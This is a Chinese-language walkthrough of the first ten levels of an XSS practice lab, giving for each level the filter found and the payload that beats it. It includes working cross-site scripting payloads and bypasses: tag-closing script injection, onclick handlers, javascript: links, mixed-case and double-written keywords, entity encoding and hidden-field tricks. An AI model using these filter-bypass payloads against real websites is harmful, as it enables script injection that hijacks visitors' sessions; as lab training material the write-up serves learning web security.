第一关
第一关主页面
在url尝试一下是否有注入点
发现可以注入,开始编写恶意代码
第二关
找到注入点
查看F12,发现要闭合H2标签
开始编写恶意代码
"> <script>alert(1)</script>
第三关
先尝试闭合,发现没用,然后查看源码发现<>(尖括号)被转义成了HTML实体
那我们就换个事件绕开尖括号标签,用on事件来代替,首先还是先闭合标签,因为是用的on事件所以还需点击一下搜索框才算完成
' οnclick='javascript:alert(1)'
第四关
与上关相同,只不过把单引号换成了双引号闭合
第五关
先尝试用前几关方式,发现不行,然后查看源码得知过滤了script和on并且双写和大小写不能绕过,那我们再换个方式构造,这里使用a标签来注入
"> <a href=javascript:alert(1) > xss</a>
第六关
直接先看源码,发现过滤了一大堆,但好像没有过滤大小写,尝试使用下
"> <a hREF=javascript:alert(1) > xss </a>
明显成功了
第七关
查看源码,得知它把敏感词过滤成了空白,那我们直接双写绕过,哪种方式都可以但在xss攻击中我们应该选用最简的和不用用户互动的方式
"> <scrscriptipt>alert(1)</scrscriptipt>
"> <a hrhrefef=javascrscriptipt:alert(1) > xss </a>
第八关
查看源码,它已经构造好了a标签,我们只需要输入javascript:alert(1)即可,但是它又过滤掉了敏感词也无法绕过,所以我们用HTML编码来绕过
javascript:alert(1)
javascript:alert(1)
第九关
直接看源码,发现和第八关基本一样但是多了一个if条件,它要我们既要输入的链接合法又要我们输入恶意代码,那我们直接在第八关的代码上加入一个合法链接即可,它首先检测到有合法链接进入到if语句中,然后在完成我们的恶意代码
javascript:alert(1)//http://www.baidu.com
第十关
从F12上我们知道它隐藏了三个参数,看源码知道过滤掉了<>尖括号,那我们思路就是把这三个参数类型修改为可见并且使用一个没有尖括号的事件。
经过测试这三个参数只有t_sort可以使用
t_sort=" type='text'>
在输入我们精心构造的恶意代码
t_sort=" type='text' οnclick="alert(1)>